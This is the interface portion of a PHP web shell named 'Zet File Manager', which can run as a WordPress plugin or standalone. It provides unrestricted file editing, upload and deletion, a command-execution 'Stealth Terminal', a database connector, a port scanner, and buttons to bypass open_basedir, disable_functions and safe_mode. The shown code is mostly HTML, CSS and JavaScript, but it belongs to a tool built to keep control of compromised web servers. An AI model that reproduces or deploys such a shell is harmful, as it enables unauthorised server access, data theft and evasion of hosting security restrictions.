                font-weight: 600;
            }
            
            .fm-perm-indicator {
                display: inline-block;
                width: 8px;
                height: 8px;
                border-radius: 50%;
                margin-right: 5px;
                box-shadow: 0 0 3px currentColor;
            }
            
            .fm-perm-indicator.writable {
                background: #0f0;
                box-shadow: 0 0 4px #0f0;
            }
            
            .fm-perm-indicator.readonly {
                background: #f55;
            }
            
            .fm-edit-area {
                width: 100%;
                min-height: 400px;
                padding: 15px;
                background: #080b10;
                border: 1px solid #2a2f3a;
                color: #e0e0e0;
                border-radius: 6px;
                font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
                font-size: 14px;
                line-height: 1.5;
                resize: vertical;
            }
            
            .fm-edit-area:focus {
                outline: none;
                border-color: #0ff;
                box-shadow: 0 0 0 2px rgba(0, 255, 255, 0.2);
            }
            
            .fm-terminal {
                background: #080b10;
                border-radius: 8px;
                padding: 15px;
                margin-bottom: 20px;
                border: 1px solid #2a2f3a;
            }
            
            .fm-terminal-output {
                background: #0c0f14;
                border-radius: 4px;
                padding: 15px;
                color: #0f0;
                font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
                font-size: 13px;
                line-height: 1.5;
                min-height: 200px;
                max-height: 400px;
                overflow-y: auto;
                white-space: pre-wrap;
                margin-bottom: 15px;
                border: 1px solid #2a2f3a;
            }
            
            .fm-terminal-input {
                display: flex;
                gap: 10px;
            }
            
            .fm-terminal-input input {
                flex: 1;
                padding: 10px 15px;
                background: #080b10;
                border: 1px solid #2a2f3a;
                color: #0f0;
                border-radius: 4px;
                font-size: 14px;
                font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
            }
            
            .fm-terminal-input input:focus {
                outline: none;
                border-color: #0f0;
            }
            
            .fm-info-grid {
                display: grid;
                grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
                gap: 20px;
            }
            
            .fm-info-card {
                background: #0c0f14;
                border-radius: 8px;
                padding: 20px;
                border: 1px solid #2a2f3a;
            }
            
            .fm-info-card h3 {
                color: #0ff;
                margin-bottom: 15px;
                font-size: 16px;
                display: flex;
                align-items: center;
                gap: 8px;
                text-shadow: 0 0 2px #0ff;
            }
            
            .fm-info-item {
                display: flex;
                justify-content: space-between;
                padding: 8px 0;
                border-bottom: 1px solid #2a2f3a;
            }
            
            .fm-info-item:last-child {
                border-bottom: none;
            }
            
            .fm-info-label {
                color: #aaa;
                font-size: 13px;
            }
            
            .fm-info-value {
                color: #0f0;
                font-size: 13px;
                font-weight: 500;
            }
            
            .fm-progress-bar {
                width: 100%;
                height: 8px;
                background: #2a2f3a;
                border-radius: 4px;
                overflow: hidden;
                margin-top: 5px;
            }
            
            .fm-progress-fill {
                height: 100%;
                background: #0ff;
                box-shadow: 0 0 4px #0ff;
            }
            
            .fm-modal {
                display: none;
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: rgba(0, 0, 0, 0.9);
                backdrop-filter: blur(3px);
                z-index: 1000;
            }
            
            .fm-modal.active {
                display: flex;
                align-items: center;
                justify-content: center;
            }
            
            .fm-modal-content {
                background: #0c0f14;
                padding: 30px;
                border-radius: 12px;
                width: 90%;
                max-width: 500px;
                border: 1px solid #0ff;
                box-shadow: 0 0 20px rgba(0, 255, 255, 0.2);
            }
            
            .fm-modal-header {
                margin-bottom: 20px;
                font-size: 18px;
                font-weight: 600;
                color: #0ff;
                text-shadow: 0 0 3px #0ff;
            }
            
            .fm-modal-body input,
            .fm-modal-body textarea {
                width: 100%;
                padding: 10px;
                margin-bottom: 15px;
                background: #080b10;
                border: 1px solid #2a2f3a;
                color: #e0e0e0;
                border-radius: 6px;
                font-size: 14px;
            }
            
            .fm-modal-body input:focus,
            .fm-modal-body textarea:focus {
                outline: none;
                border-color: #0ff;
            }
            
            .fm-modal-body textarea {
                min-height: 150px;
                resize: vertical;
            }
            
            .fm-modal-footer {
                display: flex;
                gap: 10px;
                justify-content: flex-end;
            }
            
            .fm-empty {
                text-align: center;
                padding: 40px;
                color: #8b949e;
            }
            
            .fm-separator-row td {
                background: #07090d;
                padding: 8px 15px !important;
                font-weight: 600;
                color: #0ff;
                border-top: 1px solid #2a2f3a !important;
                border-bottom: 1px solid #2a2f3a !important;
                text-transform: uppercase;
                letter-spacing: 0.5px;
                font-size: 11px;
            }
            
            .fm-telegram-btn {
                position: fixed;
                bottom: 20px;
                right: 20px;
                background: #1a1f2a;
                color: #0ff;
                padding: 12px 20px;
                border-radius: 8px;
                display: flex;
                align-items: center;
                gap: 8px;
                font-size: 14px;
                font-weight: 500;
                cursor: pointer;
                transition: all 0.2s;
                z-index: 1000;
                text-decoration: none;
                border: 1px solid #0ff;
                backdrop-filter: blur(5px);
            }
            
            .fm-telegram-btn:hover {
                background: #0ff;
                color: #000;
                box-shadow: 0 0 12px #0ff;
            }
            
            .fm-telegram-btn svg {
                width: 18px;
                height: 18px;
            }
            
            /* Thumbnail styling */
            .fm-thumb {
                width: 40px;
                height: 40px;
                object-fit: cover;
                border-radius: 4px;
                border: 1px solid #2a2f3a;
                background: #0a0c10;
                vertical-align: middle;
            }
            .fm-thumb-placeholder {
                width: 40px;
                height: 40px;
                display: inline-flex;
                align-items: center;
                justify-content: center;
                background: #0a0c10;
                border: 1px solid #2a2f3a;
                border-radius: 4px;
                color: #555;
                font-size: 18px;
            }
            
            @media (max-width: 768px) {
                .fm-tools {
                    flex-direction: column;
                }
                
                .fm-file-table {
                    font-size: 12px;
                }
                
                .fm-file-actions {
                    flex-direction: column;
                }
                
                .fm-sys-info {
                    font-size: 10px;
                }
                
                .fm-info-grid {
                    grid-template-columns: 1fr;
                }
                
                .fm-telegram-btn {
                    bottom: 10px;
                    right: 10px;
                    padding: 8px 15px;
                    font-size: 12px;
                }
                .fm-thumb {
                    width: 30px;
                    height: 30px;
                }
                .fm-thumb-placeholder {
                    width: 30px;
                    height: 30px;
                    font-size: 14px;
                }
            }
        </style>
    </head>
    <body>
        <div class="fm-container">
            <div class="fm-header">
                <div style="font-size: 11px; color: #ff4444; margin-bottom: 8px; letter-spacing: 2px; text-align: center;">
                    ═══════════════════ •🔥• ═══════════════════
                </div>
                
                <h1>
                    <span class="eagle">⚡ <?php echo ZET_FM_NAME; ?> ⚡</span><br>
                    <span style="font-size: 20px; color: #0ff;">v<?php echo ZET_FM_VERSION; ?> - Dark Edition</span>
                </h1>
                
                <div style="font-size: 15px; margin: 12px 0; color: #ff4444; font-weight: bold; text-shadow: 0 0 5px #ff0000; text-align: center;">
                    🔥 Zet Gifari – born to dominate the backend. 🔥
                </div>
                
                <div style="font-size: 12px; margin-bottom: 15px; color: #aaa; text-align: center;">
                    ❖ Unrestricted File Manager ❖ Stealth Terminal ❖ Advanced Bypass Engine ❖
                    <?php if ($isWordPress): ?>
                    <span style="color: #0ff;">❖ WordPress Plugin Mode</span>
                    <?php endif; ?>
                </div>
                
                <div class="fm-sys-info">
                    <span><strong>OS:</strong> <?php echo htmlspecialchars($systemInfo['os']); ?></span>
                    <span><strong>PHP:</strong> <?php echo htmlspecialchars($systemInfo['php_version']); ?></span>
                    <span><strong>Server:</strong> <?php echo htmlspecialchars($systemInfo['server']); ?></span>
                    <span><strong>User:</strong> <?php echo htmlspecialchars($systemInfo['user']); ?></span>
                    <span><strong>IP:</strong> <?php echo htmlspecialchars($systemInfo['ip']); ?></span>
                    <?php if ($isWordPress): ?>
                    <span><strong>WP:</strong> <?php echo htmlspecialchars($systemInfo['wp_version']); ?></span>
                    <?php endif; ?>
                    <?php if ($isWordPress): ?>
                    <!-- Protection Toggle (only when WordPress is active) -->
                    <span style="display:inline-flex; align-items:center; gap:6px; background:#1a1f2a; padding:4px 12px; border-radius:6px; border:1px solid #0ff;">
                        <form method="post" style="display:inline;">
                            <input type="hidden" name="zet_fm_toggle_protection" value="1">
                            <button type="submit" style="background:none; border:none; color:<?php echo get_option('zet_fm_protected', false) ? '#0f0' : '#ffa500'; ?>; cursor:pointer; font-weight:bold; font-size:13px; text-shadow: 0 0 3px currentColor;">
                                <?php echo get_option('zet_fm_protected', false) ? '🛡️ Protected (No Delete)' : '🔓 Protection OFF'; ?>
                            </button>
                        </form>
                    </span>
                    <?php endif; ?>
                </div>
                
                <div style="font-size: 11px; margin-top: 10px; color: #ff4444; opacity: 0.8; text-align: center;">
                    ⚠️ Authorized access only. You are responsible for your actions.
                </div>
            </div>
            
            <?php if ($notification): ?>
            <div class="fm-notification <?php echo $notification['type']; ?>">
                <?php echo htmlspecialchars($notification['text']); ?>
            </div>
            <?php endif; ?>
            
            <div class="fm-tabs">
                <div class="fm-tab <?php echo $activeTab === 'filemanager' ? 'active' : ''; ?>" onclick="fmSwitchTab('filemanager')">
                    <span class="fm-tab-icon">📁</span> File Manager
                </div>
                <div class="fm-tab <?php echo $activeTab === 'terminal' ? 'active' : ''; ?>" onclick="fmSwitchTab('terminal')">
                    <span class="fm-tab-icon">💻</span> Terminal
                </div>
                <div class="fm-tab <?php echo $activeTab === 'info' ? 'active' : ''; ?>" onclick="fmSwitchTab('info')">
                    <span class="fm-tab-icon">ℹ️</span> System Info
                </div>
                <div class="fm-tab <?php echo $activeTab === 'database' ? 'active' : ''; ?>" onclick="fmSwitchTab('database')">
                    <span class="fm-tab-icon">🗄️</span> Database
                </div>
                <div class="fm-tab <?php echo $activeTab === 'network' ? 'active' : ''; ?>" onclick="fmSwitchTab('network')">
                    <span class="fm-tab-icon">🌐</span> Network
                </div>
                <div class="fm-tab <?php echo $activeTab === 'bypass' ? 'active' : ''; ?>" onclick="fmSwitchTab('bypass')">
                    <span class="fm-tab-icon">🔓</span> Bypass
                </div>
            </div>
            
            <!-- File Manager Tab -->
            <div class="fm-tab-content <?php echo $activeTab === 'filemanager' ? 'active' : ''; ?>" id="filemanager">
                <form method="get" class="fm-path-bar">
                    <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path...">
                    <button type="submit" class="fm-btn">Navigate</button>
                </form>
                
                <div class="fm-tools">
                    <form method="post" enctype="multipart/form-data" class="fm-tool-group">
                        <label>Upload:</label>
                        <input type="file" name="upload" required>
                        <button type="submit" class="fm-btn fm-btn-small fm-btn-success">Upload</button>
                    </form>
                    
                    <div class="fm-tool-group">
                        <button onclick="fmShowNewFileModal()" class="fm-btn fm-btn-small">New File</button>
                        <button onclick="fmShowNewFolderModal()" class="fm-btn fm-btn-small">New Folder</button>
                    </div>
                </div>
                
                <?php if ($editMode): ?>
                <div class="fm-edit-container">
                    <h3 style="margin-bottom: 15px; color: #0ff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3>
                    <form method="post">
                        <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>">
                        <textarea name="content" class="fm-edit-area"><?php echo htmlspecialchars($editContent); ?></textarea>
                        <div style="margin-top: 15px; display: flex; gap: 10px;">
                            <button type="submit" class="fm-btn fm-btn-success">Save Changes</button>
                            <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>" class="fm-btn fm-btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a>
                        </div>
                    </form>
                </div>
                <?php else: ?>
                <table class="fm-file-table">
                    <thead>
                        <tr>
                            <th width="5%">Thumb</th>
                            <th width="30%">Name</th>
                            <th width="10%">Type</th>
                            <th width="10%">Size</th>
                            <th width="10%">Permissions</th>
                            <th width="15%">Modified</th>
                            <th width="20%">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td colspan="7">
                                <a href="?tab=filemanager&p=<?php echo urlencode(dirname($currentPath)); ?>">
                                    <span class="fm-file-icon">📂</span> Parent Directory
                                </a>
                            </td>
                        </tr>
                        <?php endif; ?>
                        
                        <?php
                        if (!empty($sortedContents['folders'])) {
                            echo '<tr class="fm-separator-row"><td colspan="7">📁 Folders</td></tr>';
                            foreach ($sortedContents['folders'] as $folder):
                                $itemPath = $currentPath . $folder;
                                $perms = zet_fm_get_permissions($itemPath);
                                $isWritable = zet_fm_is_writable($itemPath);
                                $modified = @filemtime($itemPath);
                        ?>
                        <tr class="folder-row">
                            <td><span class="fm-thumb-placeholder">📁</span></td>
                            <td>
                                <a href="?tab=filemanager&p=<?php echo urlencode($itemPath); ?>">
                                    <span class="fm-perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span>
                                    <span class="<?php echo $isWritable ? 'fm-perm-writable' : 'fm-perm-readonly'; ?>">
                                        <?php echo htmlspecialchars($folder); ?>
                                    </span>
                                </a>
                            </td>
                            <td>Folder</td>
                            <td>-</td>
                            <td class="<?php echo $isWritable ? 'fm-perm-writable' : 'fm-perm-readonly'; ?>">
                                <?php echo $perms; ?>
                            </td>
                            <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td>
                            <td>
                                <div class="fm-file-actions">
                                    <a href="#" onclick="fmRenameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a>
                                    <a href="#" onclick="fmChmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a>
                                    <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" 
                                       class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; } ?>
                        
                        <?php
                        if (!empty($sortedContents['files'])) {
                            echo '<tr class="fm-separator-row"><td colspan="7">📄 Files</td></tr>';
                            foreach ($sortedContents['files'] as $file):
                                $itemPath = $currentPath . $file;
                                $size = @filesize($itemPath);
                                $perms = zet_fm_get_permissions($itemPath);
                                $isWritable = zet_fm_is_writable($itemPath);
                                $modified = @filemtime($itemPath);
                                $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE');
                                
                                if ($size !== false) {
                                    if ($size < 1024) $size = $size . ' B';
                                    elseif ($size < 1048576) $size = round($size/1024, 1) . ' KB';
                                    elseif ($size < 1073741824) $size = round($size/1048576, 1) . ' MB';
                                    else $size = round($size/1073741824, 1) . ' GB';
                                } else {
                                    $size = '?';
                                }
                                
                                // Generate thumbnail for images
                                $thumb_html = '';
                                $image_exts = array('jpg', 'jpeg', 'png', 'gif', 'webp', 'bmp', 'svg', 'ico');
                                if (in_array(strtolower(pathinfo($file, PATHINFO_EXTENSION)), $image_exts)) {
                                    // Try to get the file URL (if within web root)
                                    $file_url = '';
                                    $doc_root = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
                                    $abs_path = realpath($itemPath);
                                    if ($abs_path && strpos($abs_path, $doc_root) === 0) {
                                        $file_url = str_replace($doc_root, '', $abs_path);
                                        $file_url = ltrim($file_url, '/');
                                        $file_url = (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . '/' . $file_url;
                                        $thumb_html = '<img src="' . htmlspecialchars($file_url) . '" class="fm-thumb" alt="thumbnail" loading="lazy">';
                                    } else {
                                        $thumb_html = '<span class="fm-thumb-placeholder">🖼️</span>';
                                    }
                                } else {
                                    $thumb_html = '<span class="fm-thumb-placeholder">📄</span>';
                                }
                        ?>
                        <tr>
                            <td><?php echo $thumb_html; ?></td>
                            <td>
                                <span style="display: inline-flex; align-items: center; gap: 8px;">
                                    <span class="fm-perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span>
                                    <span class="<?php echo $isWritable ? 'fm-perm-writable' : 'fm-perm-readonly'; ?>">
                                        <?php echo htmlspecialchars($file); ?>
                                    </span>
                                </span>
                            </td>
                            <td><?php echo $ext; ?></td>
                            <td><?php echo $size; ?></td>
                            <td class="<?php echo $isWritable ? 'fm-perm-writable' : 'fm-perm-readonly'; ?>">
                                <?php echo $perms; ?>
                            </td>
                            <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td>
                            <td>
                                <div class="fm-file-actions">
                                    <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a>
                                    <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a>
                                    <a href="#" onclick="fmRenameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a>
                                    <a href="#" onclick="fmChmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a>
                                    <a href="?tab=filemanager&p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" 
                                       class="delete" onclick="return confirm('Delete this file?')">Delete</a>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; } ?>
                        
                        <?php if (empty($sortedContents['folders']) && empty($sortedContents['files'])): ?>
                        <tr>
                            <td colspan="7" class="fm-empty">Empty directory</td>
                        </tr>
                        <?php endif; ?>
                    </tbody>
                </table>
                <?php endif; ?>
            </div>
            
            <!-- Terminal Tab -->
            <div class="fm-tab-content <?php echo $activeTab === 'terminal' ? 'active' : ''; ?>" id="terminal">
                <div class="fm-terminal">
                    <div class="fm-terminal-output"><?php echo htmlspecialchars($commandOutput); ?></div>
                    <form method="post" class="fm-terminal-input">
                        <input type="text" name="command" placeholder="Enter command..." autocomplete="off">
                        <button type="submit" class="fm-btn">Execute</button>
                    </form>
                </div>
            </div>
            
            <!-- System Info Tab -->
            <div class="fm-tab-content <?php echo $activeTab === 'info' ? 'active' : ''; ?>" id="info">
                <div class="fm-info-grid">
                    <div class="fm-info-card">
                        <h3>🖥️ System Information</h3>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Operating System</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['os']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Hostname</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['hostname']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">User</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['user']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Server IP</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['ip']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Server Port</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['port']); ?></span>
                        </div>
                    </div>
                    
                    <div class="fm-info-card">
                        <h3>🐘 PHP Configuration</h3>
                        <div class="fm-info-item">
                            <span class="fm-info-label">PHP Version</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['php_version']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Server Software</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['server']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Safe Mode</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['safe_mode']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Open Basedir</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['open_basedir']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Disabled Functions</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['disable_functions']); ?></span>
                        </div>
                    </div>
                    
                    <div class="fm-info-card">
                        <h3>💾 Disk Usage</h3>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Total Space</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['disk_total']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Used Space</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['disk_used']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Free Space</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['disk_free']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Usage</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['disk_percent']); ?></span>
                        </div>
                        <div class="fm-progress-bar">
                            <div class="fm-progress-fill" style="width: <?php echo htmlspecialchars($systemInfo['disk_percent']); ?>"></div>
                        </div>
                    </div>
                    
                    <div class="fm-info-card">
                        <h3>⚙️ PHP Limits</h3>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Memory Limit</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['memory_limit']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Max Execution Time</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['max_execution_time']); ?>s</span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Upload Max Filesize</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['upload_max_filesize']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Post Max Size</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['post_max_size']); ?></span>
                        </div>
                    </div>
                    
                    <div class="fm-info-card">
                        <h3>🔌 Extensions</h3>
                        <div class="fm-info-item">
                            <span class="fm-info-label">MySQL</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['mysql']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">cURL</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['curl']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Allow URL Fopen</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['allow_url_fopen']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">Allow URL Include</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['allow_url_include']); ?></span>
                        </div>
                    </div>
                    
                    <?php if ($isWordPress): ?>
                    <div class="fm-info-card">
                        <h3>🔷 WordPress Info</h3>
                        <div class="fm-info-item">
                            <span class="fm-info-label">WordPress Loaded</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['wp_loaded']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">WordPress Version</span>
                            <span class="fm-info-value"><?php echo htmlspecialchars($systemInfo['wp_version']); ?></span>
                        </div>
                        <div class="fm-info-item">
                            <span class="fm-info-label">ABSPATH</span>
                            <span class="fm-info-value" style="font-size: 11px;"><?php echo htmlspecialchars(ABSPATH); ?></span>
                        </div>
                    </div>
                    <?php endif; ?>
                </div>
            </div>
            
            <!-- Database Tab -->
            <div class="fm-tab-content <?php echo $activeTab === 'database' ? 'active' : ''; ?>" id="database">
                <h3 style="margin-bottom: 20px; color: #0ff;">Database Connection</h3>
                <form method="post">
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Host:</label>
                        <input type="text" name="db_host" placeholder="localhost" value="localhost">
                    </div>
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Username:</label>
                        <input type="text" name="db_user" placeholder="root">
                    </div>
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Password:</label>
                        <input type="password" name="db_pass" placeholder="">
                    </div>
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Database:</label>
                        <input type="text" name="db_name" placeholder="">
                    </div>
                    <button type="submit" class="fm-btn fm-btn-success">Connect</button>
                </form>
            </div>
            
            <!-- Network Tab -->
            <div class="fm-tab-content <?php echo $activeTab === 'network' ? 'active' : ''; ?>" id="network">
                <h3 style="margin-bottom: 20px; color: #0ff;">Port Scanner</h3>
                <form method="post">
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Host:</label>
                        <input type="text" name="scan_host" placeholder="127.0.0.1" value="127.0.0.1">
                    </div>
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Port Start:</label>
                        <input type="number" name="scan_port_start" placeholder="1" value="1">
                    </div>
                    <div class="fm-tool-group" style="width: 100%; margin-bottom: 15px;">
                        <label>Port End:</label>
                        <input type="number" name="scan_port_end" placeholder="1000" value="1000">
                    </div>
                    <button type="submit" class="fm-btn fm-btn-warning">Scan</button>
                </form>
            </div>
            
            <!-- Bypass Tab -->
            <div class="fm-tab-content <?php echo $activeTab === 'bypass' ? 'active' : ''; ?>" id="bypass">
                <h3 style="margin-bottom: 20px; color: #0ff;">Security Bypass</h3>
                <div class="fm-tools">
                    <a href="?tab=bypass&bypass=open_basedir" class="fm-btn fm-btn-warning">Bypass open_basedir</a>
                    <a href="?tab=bypass&bypass=disable_functions" class="fm-btn fm-btn-warning">Bypass disable_functions</a>
                    <a href="?tab=bypass&bypass=safe_mode" class="fm-btn fm-btn-warning">Bypass safe_mode</a>
                </div>
            </div>
        </div>
        
        <!-- TELEGRAM BUTTON -->
        <a href="https://t.me/zetgifar" target="_blank" class="fm-telegram-btn">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                <path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path>
            </svg>
            <span>Telegram</span>
        </a>
        
        <!-- New File Modal -->
        <div id="newFileModal" class="fm-modal">
            <div class="fm-modal-content">
                <div class="fm-modal-header">Create New File</div>
                <form method="post">
                    <div class="fm-modal-body">
                        <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required>
                        <textarea name="filecontent" placeholder="File content (optional)"></textarea>
                    </div>
                    <div class="fm-modal-footer">
                        <button type="submit" class="fm-btn fm-btn-success">Create</button>
                        <button type="button" class="fm-btn fm-btn-danger" onclick="fmCloseModal('newFileModal')">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
        
        <!-- New Folder Modal -->
        <div id="newFolderModal" class="fm-modal">
            <div class="fm-modal-content">
                <div class="fm-modal-header">Create New Folder</div>
                <form method="post">
                    <div class="fm-modal-body">
                        <input type="text" name="newfolder" placeholder="Folder name" required>
                    </div>
                    <div class="fm-modal-footer">
                        <button type="submit" class="fm-btn fm-btn-success">Create</button>
                        <button type="button" class="fm-btn fm-btn-danger" onclick="fmCloseModal('newFolderModal')">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
        
        <script>
            // Tab switching
            function fmSwitchTab(tabName) {
                document.querySelectorAll('.fm-tab-content').forEach(tab => {
                    tab.classList.remove('active');
                });
                document.querySelectorAll('.fm-tab').forEach(tab => {
                    tab.classList.remove('active');
                });
                document.getElementById(tabName).classList.add('active');
                document.querySelector(`.fm-tab:nth-child(${fmGetTabIndex(tabName)})`).classList.add('active');
            }
            
            function fmGetTabIndex(tabName) {
                const tabs = ['filemanager', 'terminal', 'info', 'database', 'network', 'bypass'];
                return tabs.indexOf(tabName) + 1;
            }
            
            function fmShowNewFileModal() {
                document.getElementById('newFileModal').classList.add('active');
            }
            
            function fmShowNewFolderModal() {
                document.getElementById('newFolderModal').classList.add('active');
            }
            
            function fmCloseModal(id) {
                document.getElementById(id).classList.remove('active');
            }
            
            function fmRenameItem(oldName) {
                var newName = prompt('Enter new name:', oldName);
                if (newName && newName !== oldName) {
                    var form = document.createElement('form');
                    form.method = 'post';
                    form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' +
                                   '<input type="hidden" name="newname" value="' + newName + '">';
                    document.body.appendChild(form);
                    form.submit();
                }
            }
            
            function fmChmodItem(item) {
                var mode = prompt('Enter new permissions (e.g., 755):', '755');
                if (mode) {
                    var form = document.createElement('form');
                    form.method = 'post';
                    form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
                                   '<input type="hidden" name="chmod_value" value="' + mode + '">';
                    document.body.appendChild(form);
                    form.submit();
                }
            }
            
            setTimeout(function() {
                var notifications = document.querySelectorAll('.fm-notification');
                notifications.forEach(function(n) {
                    n.style.opacity = '0';
                    setTimeout(function() { n.style.display = 'none'; }, 300);
                });
            }, 3000);
            
            document.addEventListener('keydown', function(e) {
                if (e.ctrlKey && e.key === 'n') {
                    e.preventDefault();
                    fmShowNewFileModal();
                }
                if (e.ctrlKey && e.shiftKey && e.key === 'N') {
                    e.preventDefault();
                    fmShowNewFolderModal();
                }
                if (e.key === 'Escape') {
                    document.querySelectorAll('.fm-modal.active').forEach(function(m) {
                        m.classList.remove('active');
                    });
                }
            });
            
            document.querySelectorAll('.fm-modal').forEach(function(modal) {
                modal.addEventListener('click', function(e) {
                    if (e.target === modal) {
                        modal.classList.remove('active');
                    }
                });
            });
        </script>
    </body>
    </html>
    <?php
}

// =============================================
// STANDALONE MODE
// =============================================
if (defined('ZET_FM_STANDALONE') && ZET_FM_STANDALONE === true) {
    // If not loaded via WordPress, render directly
    if (!defined('ABSPATH')) {
        zet_fm_render_page();
        exit;
    }
}